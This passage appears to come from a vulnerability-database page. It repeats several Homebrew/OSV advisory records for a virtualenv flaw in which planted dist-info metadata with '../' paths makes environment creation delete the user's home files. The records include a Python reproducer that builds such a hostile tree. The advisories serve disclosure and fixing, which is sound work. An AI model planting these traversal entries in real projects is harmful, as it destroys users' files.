`top_level.txt`\ncontained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user\u0027s home initially held\n`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.\nA control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in\nplace. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.\n\nThe deletion uses the invoking user\u0027s permissions and runs during creation, before any use of the environment. It\nrequires an existing destination that another account could populate; a fresh empty environment does not supply hostile\nmetadata. The report traces this cleanup to #2186, first released in 20.8.1.\n[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root\nand refuses to delete the root itself.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared .venv metadata\n participant V as App-data seeder\n participant P as site-packages\n participant H as User home\n A-\u003e\u003eP: top_level.txt names ../../../../../Documents\n A-\u003e\u003eP: RECORD names ../../../../../notes.txt\n V-\u003e\u003eP: read pip-1.0.dist-info before reinstall\n P-\u003e\u003eH: join entries without containment check\n V-\u003e\u003eH: remove Documents and notes.txt\n V--\u003e\u003eA: virtualenv exits successfully\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-seed-uninstall\")\nshutil.rmtree(work, ignore_errors=True)\nUSER_FILES = (\"Documents/thesis/chapter1.txt\", \"notes.txt\")\n\n\ndef make_home(name):\n home = work / name\n (home / \"Documents\" / \"thesis\").mkdir(parents=True)\n (home / \"Documents\" / \"thesis\" / \"chapter1.txt\").write_text(\"months of work\\n\")\n (home / \"notes.txt\").write_text(\"my notes\\n\")\n return home\n\n\ndef unpack_attacker_project(home, top_level_line, record_line):\n subprocess.run(\n [sys.executable, \"/tmp/repro.d/make_project_tree.py\", home / \"project\", top_level_line, record_line],\n check=True,\n )\n\n\ndef user_runs_virtualenv(home):\n # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline\n result = subprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \".venv\"],\n cwd=home / \"project\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n text=True,\n check=True,\n )\n print(result.stdout, end=\"\")\n\n\ndef files_left(home):\n return [f for f in USER_FILES if (home / f).exists()]\n\n\n# control: the project ships well-formed pip metadata\ncontrol_home = make_home(\"control\")\nunpack_attacker_project(control_home, \"pip\", \"pip/__init__.py,,\")\nuser_runs_virtualenv(control_home)\ncontrol_left = files_left(control_home)\nprint(f\"CONTROL user files still in ~ after virtualenv: {control_left}\")\n\n# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five \"..\" is ~\nattack_home = make_home(\"attack\")\nunpack_attacker_project(attack_home, \"../../../../../Documents\", \"../../../../../notes.txt,,\")\nprint(f\"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}\")\nuser_runs_virtualenv(attack_home)\nattack_left = files_left(attack_home)\nprint(f\"OBSERVED user files still in ~ after virtualenv: {attack_left}\")\n\n# check: creating an environment must never delete the user\u0027s files outside it\nprint(\"BUG\" if control_left == list(USER_FILES) and attack_left == [] else \"OK\")\n```\n\n**`repro.d/make_project_tree.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nfrom pathlib import Path\n\nproject = Path(sys.argv[1])\ntop_level_line = sys.argv[2]\nrecord_line = sys.argv[3]\n\nproject.mkdir(parents=True)\n(project / \"README\").write_text(\"Set up with: virtualenv .venv\\n\")\n\n# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim\u0027s Python is unknown\nfor minor in range(9, 16):\n dist_info = project / \".venv\" / \"lib\" / f\"python3.{minor}\" / \"site-packages\" / \"pip-1.0.dist-info\"\n dist_info.mkdir(parents=True)\n (dist_info / \"top_level.txt\").write_text(top_level_line + \"\\n\")\n (dist_info / \"RECORD\").write_text(record_line + \"\\n\")\n```\n\n## Impact\n\nSeed cleanup can delete files outside the environment or the environment root itself. The invoking user must have\ndeletion rights over those paths.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final\nlinks are removed without following their targets; parent links participate in containment checks.\n\nFix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428).\n\n## Known mitigation\n\nRecreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-SXOEHWP7.",
"id": "BREW-pre-commit-CVE-2026-113719",
"modified": "2026-10-27T03:25:42Z",
"published": "2026-10-26T09:58:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113719"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3428"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "virtualenv: Seed replacement does not contain metadata deletion paths",
"upstream": [
"GHSA-hhxq-47xx-j5xx",
"CVE-2026-113719"
]
}
BREW-TOX-CVE-2026-113719 (GHSA-HHXQ-47XX-J5XX)
Vulnerability from osv_homebrew – Published: 2026-10-26 09:10 – Updated: 2026-10-27 03:25 – Source website
VLAI
Summary
virtualenv: Seed replacement does not contain metadata deletion paths
Details
Summary
The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment.
Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Removal of a previously installed seed package.
Attacker-controlled input
An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path.
Affected code
The relevant 21.14.8 source is in seed uninstall.
Mechanism
Before reinstalling a seed wheel, PipInstall._uninstall_previous_version() accepts an existing pip-*.dist-info
directory in the destination. _uninstall_dist() reads its top_level.txt and RECORD, joins each entry to
site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the
path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing
seed-package metadata; --clear removes that tree first.
Reproduction and evidence
The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its top_level.txt
contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held
Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths.
A control tree with top_level.txt set to pip and a normal pip/__init__.py RECORD entry left the home files in
place. The reproducer prints BUG only when the control files survive and both attack targets disappear.
The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. PR #3428 checks each deletion path against the resolved environment root and refuses to delete the root itself.
Attack sequence
sequenceDiagram
participant A as Prepared .venv metadata
participant V as App-data seeder
participant P as site-packages
participant H as User home
A->>P: top_level.txt names ../../../../../Documents
A->>P: RECORD names ../../../../../notes.txt
V->>P: read pip-1.0.dist-info before reinstall
P->>H: join entries without containment check
V->>H: remove Documents and notes.txt
V-->>A: virtualenv exits successfully
Reproducer files
The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path
work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")
def make_home(name):
home = work / name
(home / "Documents" / "thesis").mkdir(parents=True)
(home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
(home / "notes.txt").write_text("my notes\n")
return home
def unpack_attacker_project(home, top_level_line, record_line):
subprocess.run(
[sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
check=True,
)
def user_runs_virtualenv(home):
# HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
result = subprocess.run(
["virtualenv", "--no-periodic-update", ".venv"],
cwd=home / "project",
env={**os.environ, "HOME": str(home)},
stdout=subprocess.PIPE,
text=True,
check=True,
)
print(result.stdout, end="")
def files_left(home):
return [f for f in USER_FILES if (home / f).exists()]
# control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL user files still in ~ after virtualenv: {control_left}")
# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")
# check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")
repro.d/make_project_tree.py
#!/usr/bin/env python3
import sys
from pathlib import Path
project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]
project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")
# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
dist_info.mkdir(parents=True)
(dist_info / "top_level.txt").write_text(top_level_line + "\n")
(dist_info / "RECORD").write_text(record_line + "\n")
Impact
Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths.
Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks.
Fix: PR #3428.
Known mitigation
Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.
Severity
4.5 (Medium)
References
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.14.13",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "tox",
"purl": "pkg:brew/tox"
},
"ranges": [
{
"events": [
{
"introduced": "3.24.5"
},
{
"fixed": "4.67.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.14.13",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.14.13"
}
]
},
"details": "## Summary\n\nThe app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nRemoval of a previously installed seed package.\n\n## Attacker-controlled input\n\nAn environment being reused must contain distribution metadata influenced by another account. The invoking user must\nhave deletion rights over the paths named by that metadata. Installing a new environment without existing package\nmetadata does not enter this cleanup path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nBefore reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`\ndirectory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to\n`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the\npath outside the environment. The default app-data seeder reaches this path when it reuses a tree containing\nseed-package metadata; `--clear` removes that tree first.\n\n## Reproduction and evidence\n\nThe scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`\ncontained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user\u0027s home initially held\n`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.\nA control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in\nplace. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.\n\nThe deletion uses the invoking user\u0027s permissions and runs during creation, before any use of the environment. It\nrequires an existing destination that another account could populate; a fresh empty environment does not supply hostile\nmetadata. The report traces this cleanup to #2186, first released in 20.8.1.\n[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root\nand refuses to delete the root itself.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared .venv metadata\n participant V as App-data seeder\n participant P as site-packages\n participant H as User home\n A-\u003e\u003eP: top_level.txt names ../../../../../Documents\n A-\u003e\u003eP: RECORD names ../../../../../notes.txt\n V-\u003e\u003eP: read pip-1.0.dist-info before reinstall\n P-\u003e\u003eH: join entries without containment check\n V-\u003e\u003eH: remove Documents and notes.txt\n V--\u003e\u003eA: virtualenv exits successfully\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-seed-uninstall\")\nshutil.rmtree(work, ignore_errors=True)\nUSER_FILES = (\"Documents/thesis/chapter1.txt\", \"notes.txt\")\n\n\ndef make_home(name):\n home = work / name\n (home / \"Documents\" / \"thesis\").mkdir(parents=True)\n (home / \"Documents\" / \"thesis\" / \"chapter1.txt\").write_text(\"months of work\\n\")\n (home / \"notes.txt\").write_text(\"my notes\\n\")\n return home\n\n\ndef unpack_attacker_project(home, top_level_line, record_line):\n subprocess.run(\n [sys.executable, \"/tmp/repro.d/make_project_tree.py\", home / \"project\", top_level_line, record_line],\n check=True,\n )\n\n\ndef user_runs_virtualenv(home):\n # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline\n result = subprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \".venv\"],\n cwd=home / \"project\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n text=True,\n check=True,\n )\n print(result.stdout, end=\"\")\n\n\ndef files_left(home):\n return [f for f in USER_FILES if (home / f).exists()]\n\n\n# control: the project ships well-formed pip metadata\ncontrol_home = make_home(\"control\")\nunpack_attacker_project(control_home, \"pip\", \"pip/__init__.py,,\")\nuser_runs_virtualenv(control_home)\ncontrol_left = files_left(control_home)\nprint(f\"CONTROL user files still in ~ after virtualenv: {control_left}\")\n\n# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five \"..\" is ~\nattack_home = make_home(\"attack\")\nunpack_attacker_project(attack_home, \"../../../../../Documents\", \"../../../../../notes.txt,,\")\nprint(f\"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}\")\nuser_runs_virtualenv(attack_home)\nattack_left = files_left(attack_home)\nprint(f\"OBSERVED user files still in ~ after virtualenv: {attack_left}\")\n\n# check: creating an environment must never delete the user\u0027s files outside it\nprint(\"BUG\" if control_left == list(USER_FILES) and attack_left == [] else \"OK\")\n```\n\n**`repro.d/make_project_tree.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nfrom pathlib import Path\n\nproject = Path(sys.argv[1])\ntop_level_line = sys.argv[2]\nrecord_line = sys.argv[3]\n\nproject.mkdir(parents=True)\n(project / \"README\").write_text(\"Set up with: virtualenv .venv\\n\")\n\n# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim\u0027s Python is unknown\nfor minor in range(9, 16):\n dist_info = project / \".venv\" / \"lib\" / f\"python3.{minor}\" / \"site-packages\" / \"pip-1.0.dist-info\"\n dist_info.mkdir(parents=True)\n (dist_info / \"top_level.txt\").write_text(top_level_line + \"\\n\")\n (dist_info / \"RECORD\").write_text(record_line + \"\\n\")\n```\n\n## Impact\n\nSeed cleanup can delete files outside the environment or the environment root itself. The invoking user must have\ndeletion rights over those paths.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final\nlinks are removed without following their targets; parent links participate in containment checks.\n\nFix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428).\n\n## Known mitigation\n\nRecreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-SXOEHWP7.",
"id": "BREW-tox-CVE-2026-113719",
"modified": "2026-10-27T03:25:42Z",
"published": "2026-10-26T09:10:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113719"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3428"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "virtualenv: Seed replacement does not contain metadata deletion paths",
"upstream": [
"GHSA-hhxq-47xx-j5xx",
"CVE-2026-113719"
]
}
BREW-VIRTUALENVWRAPPER-C… (GHSA-HHXQ-47XX-J5XX)
Vulnerability from osv_homebrew – Published: 2026-10-26 10:12 – Updated: 2026-10-27 03:25 – Source website
VLAI
Summary
virtualenv: Seed replacement does not contain metadata deletion paths
Details
Summary
The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment.
Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Removal of a previously installed seed package.
Attacker-controlled input
An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path.
Affected code
The relevant 21.14.8 source is in seed uninstall.
Mechanism
Before reinstalling a seed wheel, PipInstall._uninstall_previous_version() accepts an existing pip-*.dist-info
directory in the destination. _uninstall_dist() reads its top_level.txt and RECORD, joins each entry to
site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the
path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing
seed-package metadata; --clear removes that tree first.
Reproduction and evidence
The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its top_level.txt
contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held
Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths.
A control tree with top_level.txt set to pip and a normal pip/__init__.py RECORD entry left the home files in
place. The reproducer prints BUG only when the control files survive and both attack targets disappear.
The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. PR #3428 checks each deletion path against the resolved environment root and refuses to delete the root itself.
Attack sequence
sequenceDiagram
participant A as Prepared .venv metadata
participant V as App-data seeder
participant P as site-packages
participant H as User home
A->>P: top_level.txt names ../../../../../Documents
A->>P: RECORD names ../../../../../notes.txt
V->>P: read pip-1.0.dist-info before reinstall
P->>H: join entries without containment check
V->>H: remove Documents and notes.txt
V-->>A: virtualenv exits successfully
Reproducer files
The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path
work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")
def make_home(name):
home = work / name
(home / "Documents" / "thesis").mkdir(parents=True)
(home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
(home / "notes.txt").write_text("my notes\n")
return home
def unpack_attacker_project(home, top_level_line, record_line):
subprocess.run(
[sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
check=True,
)
def user_runs_virtualenv(home):
# HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
result = subprocess.run(
["virtualenv", "--no-periodic-update", ".venv"],
cwd=home / "project",
env={**os.environ, "HOME": str(home)},
stdout=subprocess.PIPE,
text=True,
check=True,
)
print(result.stdout, end="")
def files_left(home):
return [f for f in USER_FILES if (home / f).exists()]
# control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL user files still in ~ after virtualenv: {control_left}")
# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")
# check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")
repro.d/make_project_tree.py
#!/usr/bin/env python3
import sys
from pathlib import Path
project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]
project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")
# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
dist_info.mkdir(parents=True)
(dist_info / "top_level.txt").write_text(top_level_line + "\n")
(dist_info / "RECORD").write_text(record_line + "\n")
Impact
Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths.
Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks.
Fix: PR #3428.
Known mitigation
Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.
Severity
4.5 (Medium)
References
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.14.13",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "virtualenvwrapper",
"purl": "pkg:brew/virtualenvwrapper"
},
"ranges": [
{
"events": [
{
"introduced": "6.1.0"
},
{
"fixed": "6.1.1_4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.14.13",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.14.13"
}
]
},
"details": "## Summary\n\nThe app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nRemoval of a previously installed seed package.\n\n## Attacker-controlled input\n\nAn environment being reused must contain distribution metadata influenced by another account. The invoking user must\nhave deletion rights over the paths named by that metadata. Installing a new environment without existing package\nmetadata does not enter this cleanup path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nBefore reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`\ndirectory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to\n`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the\npath outside the environment. The default app-data seeder reaches this path when it reuses a tree containing\nseed-package metadata; `--clear` removes that tree first.\n\n## Reproduction and evidence\n\nThe scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`\ncontained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user\u0027s home initially held\n`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.\nA control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in\nplace. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.\n\nThe deletion uses the invoking user\u0027s permissions and runs during creation, before any use of the environment. It\nrequires an existing destination that another account could populate; a fresh empty environment does not supply hostile\nmetadata. The report traces this cleanup to #2186, first released in 20.8.1.\n[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root\nand refuses to delete the root itself.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared .venv metadata\n participant V as App-data seeder\n participant P as site-packages\n participant H as User home\n A-\u003e\u003eP: top_level.txt names ../../../../../Documents\n A-\u003e\u003eP: RECORD names ../../../../../notes.txt\n V-\u003e\u003eP: read pip-1.0.dist-info before reinstall\n P-\u003e\u003eH: join entries without containment check\n V-\u003e\u003eH: remove Documents and notes.txt\n V--\u003e\u003eA: virtualenv exits successfully\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-seed-uninstall\")\nshutil.rmtree(work, ignore_errors=True)\nUSER_FILES = (\"Documents/thesis/chapter1.txt\", \"notes.txt\")\n\n\ndef make_home(name):\n home = work / name\n (home / \"Documents\" / \"thesis\").mkdir(parents=True)\n (home / \"Documents\" / \"thesis\" / \"chapter1.txt\").write_text(\"months of work\\n\")\n (home / \"notes.txt\").write_text(\"my notes\\n\")\n return home\n\n\ndef unpack_attacker_project(home, top_level_line, record_line):\n subprocess.run(\n [sys.executable, \"/tmp/repro.d/make_project_tree.py\", home / \"project\", top_level_line, 